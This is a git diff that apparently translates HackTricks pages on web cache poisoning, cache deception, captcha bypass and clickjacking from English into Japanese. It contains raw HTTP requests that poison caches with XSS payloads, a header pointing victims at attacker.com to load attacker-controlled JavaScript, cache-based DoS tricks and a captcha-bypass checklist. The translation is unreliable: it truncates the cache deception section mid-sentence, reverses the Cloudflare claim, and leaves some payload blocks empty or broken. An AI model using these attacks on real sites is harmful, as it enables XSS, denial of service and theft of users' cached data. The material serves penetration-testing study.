+キャッシュの改ざん攻撃を実行するには、まず**キャッシュされたリクエストに表示される必要のないパラメータ(キーのない入力)**を特定し、このパラメータを**悪用**して**レスポンスをキャッシュ**させる必要があります。 -### Discovery: Check HTTP headers +### 発見:HTTPヘッダーの確認 -Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +通常、レスポンスが**キャッシュに保存**されている場合、それを示す**ヘッダーが存在**します。どのヘッダーに注意を払うべきかを確認するには、この記事を参照してください:[**HTTPキャッシュヘッダー**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 -### Discovery: Caching 400 code +### 発見:キャッシュされた400コード -If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).\ -A badly configured header could be just `\:` as a header.\ -_Note that sometimes these kinds of status codes aren't cached so this test will be useless._ +レスポンスがキャッシュされていると思われる場合、**不正なヘッダーを含むリクエスト**を送信して、**ステータスコード400**で応答されるかどうかを確認できます。その後、通常通りにリクエストにアクセスし、**レスポンスが400ステータスコード**である場合、脆弱性があることがわかります(DoS攻撃も実行できます)。\ +不正な設定されたヘッダーは、ヘッダーとして単に`\:`である場合があります。\ +_なお、このようなステータスコードはキャッシュされない場合もあるため、このテストは無意味になることがあります。_ -### Discovery: Identify and evaluate unkeyed inputs - -You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: +### 発見:キーのない入力の特定と評価 +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータとヘッダー**を**ブルートフォース**できます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込む場合があります: ```markup ``` +### バックエンドサーバーから有害な応答を引き出す -### Elicit a harmful response from the back-end server +特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーから応答に影響を与えているかを確認します。それを悪用することはできますか(XSSを実行するか、自分が制御するJSコードをロードするか? DoSを実行するか?...) -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +### 応答をキャッシュする -### Get the response cached +悪用できるページ、使用するパラメータ/ヘッダー、およびその悪用方法を特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があります。数秒間試行する必要があるかもしれません。\ +応答のヘッダー「`X-Cache`」は非常に役立つ場合があります。リクエストがキャッシュされていない場合は値「`miss`」を持ち、キャッシュされている場合は値「`hit`」を持つことがあります。\ +ヘッダー「`Cache-Control`」も興味深いです。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知るためのものです:`Cache-Control: public, max-age=1800`\ +もう1つの興味深いキャッシュに関連するヘッダーは「`Vary`」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを改ざんすることができます。\ +キャッシュに関連するもう1つのヘッダーは「`Age`」です。これはオブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。 -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.\ -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`\ -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\ -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで常に動作するかどうかを確認してください。 -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +## 攻撃の例 -## Exploiting Examples - -### Easiest example - -A header like `X-Forwarded-For` is being reflected in the response unsanitized>\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +### 最も簡単な例 +「X-Forwarded-For」というヘッダーが応答でサニタイズされずに反映されています。\ +基本的なXSSペイロードを送信し、キャッシュを改ざんしてページにアクセスするすべてのユーザーにXSSを実行できます。 ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` +_注意:これによって、`/en` ではなく `/en?region=uk` へのリクエストが改ざんされます。_ -_Note that this will poison a request to `/en?region=uk` not to `/en`_ - -### Using web cache poisoning to exploit cookie-handling vulnerabilities - -Cookies could also be reflected on the response of a page. If you can abuse it to cause an XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. +### ウェブキャッシュ改ざんを使用して、クッキーハンドリングの脆弱性を悪用する +クッキーは、ページのレスポンスにも反映される場合があります。たとえば、XSSを引き起こすために悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができるかもしれません。 ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` +注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリーニングされる可能性があります。 -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. - -### Using multiple headers to exploit web cache poisoning vulnerabilities - -Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect. +### 複数のヘッダーを使用してウェブキャッシュの改ざん脆弱性を悪用する +ウェブキャッシュを悪用するためには、**複数のキーのない入力**を悪用する必要がある場合があります。たとえば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクト先のページを制御することができます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` +### 限られた`Vary`ヘッダーを利用した攻撃 -### Exploiting with limited `Vary`header - -If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent: - +もし、**`X-Host`**ヘッダーが**JSリソースをロードするためのドメイン名**として使用されているが、レスポンスの**`Vary`**ヘッダーが**`User-Agent`**を示している場合、被害者のUser-Agentを外部に流出させ、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります。 ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` +### HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの攻撃手法 -### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling +[HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実行方法について学びましょう。 -Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +### Webキャッシュポイズニングの自動テスト -### Automated testing for Web Cache Poisoning +[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用すると、Webキャッシュポイズニングの自動テストが行えます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. - -Example usage: `wcvs -u example.com` +使用例: `wcvs -u example.com` ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\ +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Vulnerable Examples +## 脆弱な例 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. +ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーはホスト、パス、クエリのみを使用して生成されます(フラグメントは無視されます)。そのため、リクエスト `/#/../?r=javascript:alert(1)` は `/#/../?r=javascript:alert(1)` としてバックエンドに送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれます。 ### GitHub CP-DoS -Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users. +コンテンツタイプヘッダーに不正な値を送信すると、キャッシュされた405のレスポンスがトリガーされます。キャッシュキーにはクッキーが含まれているため、認証されていないユーザーのみを攻撃することができます。 ### GitLab + GCP CP-DoS -GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`. +GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド `PURGE` もサポートしています。 -### Rack Middleware (Ruby on rails) +### Rack Middleware (Ruby on Rails) -Ruby on Rails application is often deployed alongside the Rack middleware. The Rack code below takes the value of the **`x-forwarded-scheme` value and uses it as the scheme of the request**. +Ruby on Railsアプリケーションは、しばしばRackミドルウェアと一緒にデプロイされます。以下のRackコードは、**`x-forwarded-scheme`の値を取得し、リクエストのスキームとして使用**します。 ![](<../.gitbook/assets/image (159) (2).png>) -Sending the `x-forwarded-scheme: http` header would result in a 301 redirect to the same location which will cause a DoS over that resource as in this example: +ヘッダー `x-forwarded-scheme: http` を送信すると、同じ場所への301リダイレクトが発生し、この例のようにそのリソースに対するDoSが発生します。 ![](<../.gitbook/assets/image (166).png>) -The application might also support the header `X-forwarded-host` and redirect the user to that host, making it possible to load javascript files from the attacker server: +アプリケーションはヘッダー `X-forwarded-host` もサポートしており、ユーザーをそのホストにリダイレクトすることができます。これにより、攻撃者のサーバーからJavaScriptファイルを読み込むことが可能になります。 ![](<../.gitbook/assets/image (157) (2).png>) -### 403 and Storage Buckets +### 403とストレージバケット -Previously, **Cloudflare** used to **cache** the **403 responses**, therefore sending **bad Authorization** headers trying to access **S3** or **Azure Storage Blobs** exposed will return a 403 that will be cached. Cloudflare no longer caches 403 responses but this might work with other proxies. +以前、**Cloudflare**は**403のレスポンスをキャッシュ**していました。そのため、**S3**や**Azure Storage Blobs**にアクセスしようとする**不正な認証ヘッダー**を送信すると、キャッシュされた403が返されます。ただし、Cloudflareはもはや403のレスポンスをキャッシュしないため、他のプロキシでは機能しない場合があります。 ![](<../.gitbook/assets/image (171).png>) -### Injecting Keyed Parameters +### キー付きパラメータの注入 -Quite often, caches are configured to **only include specific GET parameters in the cache key**. +キャッシュはしばしばキャッシュキーに特定のGETパラメータのみを含めるように構成されています。 -For example, Fastly using Varnish **cached the `size` parameter** in the request but if you sent **also** the **`siz%65`** parameter with a bad value, the **cache key** was constructed with the **well written size param**, but the **backend** used the **value inside the URL encoded param**. +たとえば、FastlyはVarnishを使用してリクエストの `size` パラメータをキャッシュしますが、`siz%65` パラメータも送信し、不正な値を含めると、キャッシュキーは適切に書かれた `size` パラメータで構築されますが、バックエンドはURLエンコードされたパラメータ内の値を使用します。 ![](<../.gitbook/assets/image (180).png>) -URL encoding the second `size` parameter caused it to be ignored by the cache, but used by the backend. Giving the parameter a value of 0 would result in a cacheable 400 Bad Request. +2番目の `size` パラメータをURLエンコードすると、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。 -### User Agent Rules +### ユーザーエージェントルール -Due to the high amount of traffic tools like FFUF or Nuclei generate, some developers decided to block requests matching their user-agents. Ironically, these tweaks can introduce unwanted cache poisoning and DoS opportunities. +FFUFやNucleiなどのツールが生成するトラフィックの量が多いため、一部の開発者はユーザーエージェントに一致するリクエストをブロックすることを決定しました。皮肉なことに、これらの調整は望ましくないキャッシュポイズニングとDoSの機会を生み出すことがあります。 ![](<../.gitbook/assets/image (167) (2).png>) -I found this worked on multiple targets, with user-agents from different tools or scanners. +私はこの方法が複数のターゲットで機能することを確認しました。異なるツールやスキャナーのユーザーエージェントを使用したリクエストに対して有効でした。 -### Illegal Header Fields +### 非正規のヘッダーフィールド -The header name format is defined in [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) as follows: +ヘッダー名の形式は[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)で次のように定義されています。 ![](<../.gitbook/assets/image (175) (2).png>) -In theory, if a header name contains characters other than the ones listed in **tchar** it should be rejected with a 400 Bad request. In practice, however, servers don't always respect the RFC. The easiest way to exploit this nuance was by targeting Akamai which doesn't reject invalid headers, but forwards them and caches any 400 error as long the cache-control header is not present. +理論上、ヘッダー名には**tchar**にリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、無効なヘッダーを拒否せずに転送し、キャッシュコントロールヘッダーが存在しない限り、400エラーをキャッシュするAkamaiをターゲットにすることでした。 ![](<../.gitbook/assets/image (163).png>) -Sending a header containing an illegal character, `\` would cause a cacheable 400 Bad Request error. This was one of the most commonly identified patterns throughout my testing. +`\`を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生します。これは、私のテスト中で最もよく特定されたパターンの1つでした。 -### Finding new headers +### 新しいヘッダーの発見 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Cache Deception +## キャッシュデセプション -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +キャッシュデセプションの目的は、クライアントがキャッシュに保存されるリソースを、それらの機密情報を含んだ状態で読み込むことです。 -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. - -Other things to test: - -* _www.example.com/profile.php/.js_ -* _www.example.com/profile.php/.css_ -* _www.example.com/profile.php/test.js_ -* _www.example.com/profile.php/../test.js_ -* _www.example.com/profile.php/%2e%2e/test.js_ -* _Use lesser known extensions such as_ `.avif` - -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. - -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). - -Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). - -## References +まず、`.css`、`.js` +## 参考文献 * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) @@ -235,8 +207,8 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -244,10 +216,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index 94e877703..884cafc5b 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -1,53 +1,49 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# Captcha Bypass -To **automate** the **testing** of some functions of the server that allows user input it **could** be **needed** to **bypass** a **captcha** implementation. Therefore, try to test for these things: +ユーザー入力を許可するサーバーの一部の機能のテストを**自動化**するためには、**captcha**の実装を**バイパス**する必要がある場合があります。したがって、次のことをテストしてみてください: -* **Do not send the parameter** related to the captcha. - * Change from POST to GET or other HTTP Verbs - * Change to JSON or from JSON -* Send the **captcha parameter empty**. -* Check if the value of the captcha is **in the source code** of the page. -* Check if the value is **inside a cookie.** -* Try to use an **old captcha value** -* Check if you can use the **same** captcha **value** several times with **the same or different sessionID.** -* If the captcha consists on a **mathematical operation** try to **automate** the **calculation.** -* If the captcha consists of **read characters from an image**, check manually or with code **how many images** are being used and if only a **few images are being used, detect them by MD5.** -* Use an **OCR** ([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)). +* captchaに関連するパラメータを**送信しないでください**。 +* POSTからGETまたは他のHTTP動詞に変更します。 +* JSONに変更するか、JSONから変更します。 +* captchaパラメータを**空にして送信**してください。 +* captchaの値がページの**ソースコードにあるかどうか**を確認してください。 +* 値が**クッキーの中にあるかどうか**を確認してください。 +* 古いcaptchaの値を使用してみてください。 +* 同じまたは異なるセッションIDで**同じcaptchaの値**を複数回使用できるかどうかを確認してください。 +* captchaが**数学の演算**である場合は、**計算を自動化**してみてください。 +* captchaが**画像から文字を読み取る**場合は、手動でまたはコードで**使用されている画像の数**を確認し、使用されているのが**わずかな画像**である場合は、MD5でそれらを検出してください。 +* OCRを使用してください([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract))。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 8eff875af..558f731da 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -1,87 +1,118 @@ -# Clickjacking +# クリックジャッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## What is Clickjacking +## クリックジャッキングとは -Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)). 